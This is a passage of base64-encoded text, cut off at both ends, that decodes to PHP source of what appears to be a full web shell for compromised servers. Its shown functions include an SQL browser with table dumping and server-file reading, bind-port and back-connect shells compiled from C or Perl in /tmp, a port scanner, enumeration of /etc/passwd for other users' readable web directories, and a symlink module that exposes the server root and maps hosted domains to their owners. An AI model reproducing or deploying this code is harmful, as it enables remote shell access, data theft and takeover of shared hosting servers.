wogaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OwogZmlsZW5hbWU9ZHVtcC5zcWwiKTsKIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CiBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpICRkYi0+ZHVtcCgkdik7CiBleGl0OwogfSBwcmludEhlYWRlcigpOwogZWNobyAnPGgxPlNxbCBicm93c2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiA8Zm9ybSBuYW1lPSJzZiIgbWV0aG9kPSJwb3N0Ij4KIDx0YWJsZSBjZWxscGFkZGluZz0iMiIgY2VsbHNwYWNpbmc9IjAiPgogPHRyPgogPHRkPlR5cGU8L3RkPgogPHRkPkhvc3Q8L3RkPgogPHRkPkxvZ2luPC90ZD4KIDx0ZD5QYXNzd29yZDwvdGQ+CiA8dGQ+RGF0YWJhc2U8L3RkPgogPHRkPjwvdGQ+CiA8L3RyPgogPHRyPgogPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1TcWw+CiA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT1cJ3F1ZXJ5XCc+CiA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4KIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4KIDx0ZD4KIDxzZWxlY3QgbmFtZT1cJ3R5cGVcJz4KIDxvcHRpb24gdmFsdWU9Im15c3FsIiAnLihAJF9QT1NUWyd0eXBlJ109PSdteXNxbCc/J3NlbGVjdGVkJzonJykuJz5NeVNxbDwvb3B0aW9uPgogPG9wdGlvbiB2YWx1ZT0icGdzcWwiICcuKEAkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJz8nc2VsZWN0ZWQnOicnKS4nPlBvc3RncmVTcWw8L29wdGlvbj4KIDwvc2VsZWN0PjwvdGQ+CiA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9ob3N0IHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkuJyI+PC90ZD4KIDx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2xvZ2luIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkuJyI+PC90ZD4KIDx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9IicuKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKS4nIj48L3RkPgogPHRkPic7CiAkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOwogaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7IGlmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgeyBzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsgY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsKIGJyZWFrOwogY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsKIGJyZWFrOwogY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOwogYnJlYWs7CiBjYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7CiBicmVhazsKIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOwogYnJlYWs7CiB9ICRkYi0+bGlzdERicygpOwogZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsKIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7IGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwogZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsKIH0gZWNobyAnPC9zZWxlY3Q+JzsKIH0gZWxzZSBlY2hvICR0bXA7CiB9ZWxzZSBlY2hvICR0bXA7CiBlY2hvICc8L3RkPgogPHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvdGQ+CiA8L3RyPgogPC90YWJsZT4KIDxzY3JpcHQ+CiBmdW5jdGlvbiBzdCh0LGwpIHsKIGRvY3VtZW50LnNmLnAxLnZhbHVlID0gXCdzZWxlY3RcJzsKCiBkb2N1bWVudC5zZi5wMi52YWx1ZSA9IHQ7CgogaWYobCE9bnVsbClkb2N1bWVudC5zZi5wMy52YWx1ZSA9IGw7CgogZG9jdW1lbnQuc2Yuc3VibWl0KCk7CgogfQogZnVuY3Rpb24gaXMoKSB7CiBmb3IoaT0wOwppPGRvY3VtZW50LnNmLmVsZW1lbnRzW1wndGJsW11cJ10ubGVuZ3RoOworK2kpCiBkb2N1bWVudC5zZi5lbGVtZW50c1tcJ3RibFtdXCddW2ldLmNoZWNrZWQgPSAhZG9jdW1lbnQuc2YuZWxlbWVudHNbXCd0YmxbXVwnXVtpXS5jaGVja2VkOwoKIH0KIDwvc2NyaXB0Pic7CiBpZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7IGVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wPiI7CiBpZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7ICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsKIGVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsKYm9yZGVyLXJpZ2h0OjJweCBzb2xpZCAjNjY2OwonPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOwogJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7CiB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgeyBsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsKICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7CiAkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7CiBlY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7CjxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInKVwiPiIuJHZhbHVlLiI8L2E+ICgiLiRuWyduJ10uIik8L25vYnI+PGJyPiI7CiB9IGVjaG8gIjxpbnB1dCB0eXBlPSdjaGVja2JveCcgb25jbGljaz0naXMoKTsKJz4gPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7CmRvY3VtZW50LnNmLnN1Ym1pdCgpOwonPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2OwonPiI7CiBpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7ICRfUE9TVFsncDEnXSA9ICdxdWVyeSc7CiAkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJF9QT1NUWydwMiddLicnKTsKICRudW0gPSAkZGItPmZldGNoKCk7CiAkbnVtID0gJG51bVsnbiddOwogZWNobyAiPHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKCRudW0pICI7CiBmb3IoJGk9MDsKJGk8KCRudW0vMzApOwokaSsrKSBpZigkaSAhPSAoaW50KSRfUE9TVFsncDMnXSkgZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nc3QoXCIiLiRfUE9TVFsncDInXS4iXCIsICRpKSc+IiwoJGkrMSksIjwvYT4gIjsKIGVsc2UgZWNobyAoJGkrMSksIiAiOwogaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpICRfUE9TVFsncDMnXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7CiBlbHNlICRfUE9TVFsncDMnXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOwogZWNobyAiPGJyPjxicj4iOwogfSBpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMyddKSkgeyAkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AzJ10pOwogaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7ICR0aXRsZSA9IGZhbHNlOwogZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4+JzsKICRsaW5lID0gMTsKIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7IGlmKCEkdGl0bGUpIHsgZWNobyAnPHRyPic7CiBmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSBlY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7CiByZXNldCgkaXRlbSk7CiAkdGl0bGU9dHJ1ZTsKIGVjaG8gJzwvdHI+PHRyPic7CiAkbGluZSA9IDI7CiB9IGVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsKICRsaW5lID0gJGxpbmU9PTE/MjoxOwogZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkgeyBpZigkdmFsdWUgPT0gbnVsbCkgZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOwogZWxzZSBlY2hvICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7CiB9IGVjaG8gJzwvdHI+JzsKIH0gZWNobyAnPC90YWJsZT4nOwogfSBlbHNlIHsgZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOwogfSB9IGVjaG8gIjxicj48dGV4dGFyZWEgbmFtZT0ncDMnIHN0eWxlPSd3aWR0aDoxMDAlOwpoZWlnaHQ6MTAwcHgnPiIuQGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddKS4iPC90ZXh0YXJlYT48YnIvPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXhlY3V0ZSc+IjsKIGVjaG8gIjwvdGQ+PC90cj4iOwogfSBlY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPjxmb3JtIG9uc3VibWl0PSdkb2N1bWVudC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7CmRvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52YWx1ZTsKZG9jdW1lbnQuc2Yuc3VibWl0KCk7CnJldHVybiBmYWxzZTsKJz48c3Bhbj5Mb2FkIGZpbGU8L3NwYW4+IDxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7CiBpZihAJF9QT1NUWydwMSddID09ICdsb2FkZmlsZScpIHsgJGRiLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRfUE9TVFsncDInXSkuIicpIGFzIGZpbGUiKTsKICRmaWxlID0gJGRiLT5mZXRjaCgpOwogZWNobyAnPHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOwogfSB9IGVjaG8gJzwvZGl2Pic7CiBwcmludEZvb3RlcigpOwogfSBmdW5jdGlvbiBhY3Rpb25OZXR3b3JrKCkgeyBwcmludEhlYWRlcigpOwogJGJhY2tfY29ubmVjdF9jPSIiOwogJGJhY2tfY29ubmVjdF9wPSIiOwogJGJpbmRfcG9ydF9jPSIiOwogJGJpbmRfcG9ydF9wPSIiOwogZWNobyAnPGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KIDxmb3JtIG5hbWU9XCduZnBcJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5wYXNzLnZhbHVlKTsKcmV0dXJuIGZhbHNlOwoiPgogPGJyIC8+PHNwYW4+QmluZCBwb3J0IHRvIC9iaW4vc2g8L3NwYW4+PGJyLz4KIFBvcnQ6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwb3J0XCcgdmFsdWU9XCc0NDNcJz4gUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwYXNzXCcgdmFsdWU9XCdzbXVyZlwnPiBVc2luZzogPHNlbGVjdCBuYW1lPSJ1c2luZyI+PG9wdGlvbiB2YWx1ZT1cJ2JwY1wnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnYnBwXCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KIDwvZm9ybT4KIDxmb3JtIG5hbWU9XCduZnBcJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpOwpyZXR1cm4gZmFsc2U7CiI+CiA8YnIgLz48YnIgLz48c3Bhbj5CYWNrLWNvbm5lY3QgdG88L3NwYW4+PGJyLz4KIFNlcnZlcjogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3NlcnZlclwnIHZhbHVlPSInLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLiciPiBQb3J0OiA8aW5wdXQgdHlwZT1cJ3RleHRcJyBuYW1lPVwncG9ydFwnIHZhbHVlPVwnNDQzXCc+IFVzaW5nOiA8c2VsZWN0IG5hbWU9InVzaW5nIj48b3B0aW9uIHZhbHVlPVwnYmNjXCc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdiY3BcJz5QZXJsPC9vcHRpb24+PC9zZWxlY3Q+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgogPC9mb3JtPjxicj4nOwogaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgeyBmdW5jdGlvbiBjZigkZiwkdCkgeyAkdz1AZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOwogaWYoJHcpIHsgQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmcHV0cygkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZixAYmFzZTY0X2RlY29kZSgkdCkpOwogQGZjbG9zZSgkdyk7CiB9IH0gaWYoJF9QT1NUWydwMSddID09ICdicGMnKSB7IGNmKCIvdG1wL2JwLmMiLCRiaW5kX3BvcnRfYyk7CiAkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JwIC90bXAvYnAuYyIpOwogQHVubGluaygiL3RtcC9icC5jIik7CiAkb3V0IC49IGV4KCIvdG1wL2JwICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7CiBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwIikuIjwvcHJlPiI7CiB9IGlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgeyBjZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsKICRvdXQgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9icC5wbCAiLiRfUE9TVFsncDInXS4iICYiKTsKIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+IjsKIH0gaWYoJF9QT1NUWydwMSddID09ICdiY2MnKSB7IGNmKCIvdG1wL2JjLmMiLCRiYWNrX2Nvbm5lY3RfYyk7CiAkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JjIC90bXAvYmMuYyIpOwogQHVubGluaygiL3RtcC9iYy5jIik7CiAkb3V0IC49IGV4KCIvdG1wL2JjICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7CiBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJjIikuIjwvcHJlPiI7CiB9IGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgeyBjZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsKICRvdXQgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwogZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOwogfSB9IGVjaG8gJzwvZGl2Pic7CiBwcmludEZvb3RlcigpOwogfSBmdW5jdGlvbiBhY3Rpb25Qb3J0U2Nhbm5lcigpIHsgcHJpbnRIZWFkZXIoKTsKIGVjaG8gJzxoMT5Qb3J0IFNjYW5uZXI8L2gxPic7CiBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+JzsKIGlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnZW5kJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydzdGFydCddKSl7ICRzdGFydCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydzdGFydCddKTsKICRlbmQgPSBzdHJpcF90YWdzKCRfUE9TVFsnZW5kJ10pOwogJGhvc3QgPSBzdHJpcF90YWdzKCRfUE9TVFsnaG9zdCddKTsKIGZvcigkaSA9ICRzdGFydDsKICRpPD0kZW5kOwogJGkrKyl7ICRmcCA9IEBmc29ja29wZW4oJGhvc3QsICRpLCAkZXJybm8sICRlcnJzdHIsIDMpOwogaWYoJGZwKXsgZWNobyAnUG9ydCAnLiRpLicgaXMgPGZvbnQgY29sb3I9Z3JlZW4+b3BlbjwvZm9udD48YnI+JzsKIH0gZmx1c2goKTsKIH0gfSBlbHNlIHsgZWNobyAnPGJyIC8+PGJyIC8+PGNlbnRlcj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iUG9ydFNjYW5uZXIiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9cDE+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icDIiPgogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYyIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2hhcnNldCIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIvPjxiciAvPjxiciAvPgogUG9ydCBzdGFydDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0YXJ0IiB2YWx1ZT0iMCIvPjxiciAvPjxiciAvPgogUG9ydCBlbmQ6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImVuZCIgdmFsdWU9IjUwMDAiLz48YnIgLz48YnIgLz4KIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTY2FuIFBvcnRzIiAvPgogPC9mb3JtPjwvY2VudGVyPjxiciAvPjxiciAvPic7CiB9IGVjaG8gJzwvZGl2Pic7CiBwcmludEZvb3RlcigpOwogfSBmdW5jdGlvbiBhY3Rpb25SZWFkYWJsZSgpIHsgcHJpbnRIZWFkZXIoKTsKIGVjaG8gJzxoMT5SZWFkYWJsZSBEaXJzPC9oMT4nOwogZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsKICRzbSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwogaWYoJHNtKSB7IGVjaG8gJzxiciAvPjxiPkVycm9yOiBzYWZlX21vZGUgPSBvbjwvYj48YnIgLz48YnIgLz4nOwogfSBlbHNlIHsgQCRwYXNzd2QgPSBmb3BlbignL2V0Yy9wYXNzd2QnLCdyJyk7CiBpZiAoISRwYXNzd2QpIHsgZWNobyAnPGJyIC8+PGI+Wy1dIEVycm9yIDogY291ZG5gdCByZWFkIC9ldGMvcGFzc3dkPC9iPjxiciAvPjxiciAvPic7CiB9IGVsc2UgeyAkcHViID0gYXJyYXkoKTsKICR1c2VycyA9IGFycmF5KCk7CiAkY29uZiA9IGFycmF5KCk7CiAkaSA9IDA7CiB3aGlsZSghZmVvZigkcGFzc3dkKSkgeyAkc3RyID0gZmdldHMoJHBhc3N3ZCk7CiBpZiAoJGkgPiAzNSkgeyAkcG9zID0gc3RycG9zKCRzdHIsJzonKTsKICR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7CiAkZGlyeiA9ICcvaG9tZS8nLiR1c2VybmFtZS4nL3B1YmxpY19odG1sLyc7CiBpZiAoKCR1c2VybmFtZSAhPSAnJykpIHsgaWYgKGlzX3JlYWRhYmxlKCRkaXJ6KSkgeyBhcnJheV9wdXNoKCR1c2VycywkdXNlcm5hbWUpOwogYXJyYXlfcHVzaCgkcHViLCRkaXJ6KTsKIH0gfSB9ICRpKys7CiB9IGVjaG8gJzxicj48YnI+JzsKIGVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCR1c2VycykuIiBlbnRyeXMgaW4gL2V0Yy9wYXNzd2RcbiIuIjxiciAvPiI7CiBlY2hvICJbK10gRm91bmRlZCAiLnNpemVvZigkcHViKS4iIHJlYWRhYmxlIHB1YmxpY19odG1sIGRpcmVjdG9yaWVzXG4iLiI8YnIgLz48YnIgLz48YnIgLz4iOwogZm9yZWFjaCAoJHVzZXJzIGFzICR1c2VyKSB7ICRwYXRoID0gIi9ob21lLyR1c2VyL3B1YmxpY19odG1sLyI7CiBlY2hvICRwYXRoLiI8YnI+IjsKIH0gZWNobyAiPGJyIC8+PGJyIC8+PGJyIC8+WytdIENvbXBsZXRlLi4uXG4iLiI8YnIgLz4iOwogfSB9IGVjaG8gJzwvZGl2Pic7CiBwcmludEZvb3RlcigpOwogfSBmdW5jdGlvbiBhY3Rpb25TeW1saW5rKCkgeyBwcmludEhlYWRlcigpOwogZWNobyAnPGgxPlN5bWxpbms8L2gxPic7CiAkZnVybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKICRleHBsZCA9IGV4cGxvZGUoJy8nLCRmdXJsICk7CiAkYnVybCA9c3RyX3JlcGxhY2UoZW5kKCRleHBsZCksJycsJGZ1cmwpOwogZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+PGNlbnRlcj4KIDxoMz5bIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxcJ3dlYnNpdGVcJyxudWxsKSI+RG9tYWluczwvYT4gXSAtIAogWyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsXCd3aG9sZVwnLG51bGwpIj5XaG9sZSBTZXJ2ZXIgU3ltbGluazwvYT4gXSAtIAogWyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsXCdjb25maWdcJyxudWxsKSI+Q29uZmlnIGZpbGVzIHN5bWxpbms8L2E+IF08L2gzPjwvY2VudGVyPic7CiBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J3dlYnNpdGUnKSB7IGVjaG8gIjxjZW50ZXI+IjsKICRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwogaWYoISRkMG1haW5zKXsgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz5DYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOwogfSBlbHNlIHsgZWNobyAiPHRhYmxlIGFsaWduPWNlbnRlciBjbGFzcz0nbWFpbicgYm9yZGVyPTAgPjx0cj48dGg+IENvdW50IDwvdGg+PHRoPiBEb21haW5zIDwvdGg+PHRoPiBVc2VycyA8L3RoPjwvdHI+IjsKICR1bmsgPSBhcnJheSgpOwogZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsgaWYoQGVyZWdpKCJ6b25lIiwkZDBtYWluKSl7IHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOwogZmx1c2goKTsKIGlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsgJHVua1tdID0gJGRvbWFpbnNbMV1bMF07CiBmbHVzaCgpOwogfSB9IH0gJGNvdW50PTE7CiAkdW5rID0gYXJyYXlfdW5pcXVlKCR1bmspOwogJGw9MDsKIGZvcmVhY2goJHVuayBhcyAkZCl7ICR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkKSk7CiBlY2hvICI8dHIiLigkbD8nIGNsYXNzPWwxJzonJykuIj48dGQ+Ii4kY291bnQuIjwvdGQ+PHRkPjxhIGhyZWY9aHR0cDovLyIuJGQuIi8+Ii4kZC4iPC9hPjwvdGQ+PHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD48L3RyPiI7CiBmbHVzaCgpOwogJGNvdW50Kys7CiAkbD0kbD8wOjE7CiB9IGVjaG8gIjwvdGFibGU+IjsKIH0gZWNobyAiPC9jZW50ZXI+IjsKIH0gaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ109PSd3aG9sZScpIHsgZWNobyAiPGNlbnRlcj4iOwogQG1rZGlyKCdzeW0nLDA3NzcpOwogJGhkdCA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsKICRoZnAgPUBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7CiBmd3JpdGUoJGhmcCAsJGhkdCk7CiBpZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSkgeyBAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7CiB9ICRkMG1haW5zID0gQGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOwogaWYoISRkMG1haW5zKSB7IGVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IyBDYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOwogfSBlbHNlIHsgZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJz48dHI+PHRoPiBDb3VudCA8L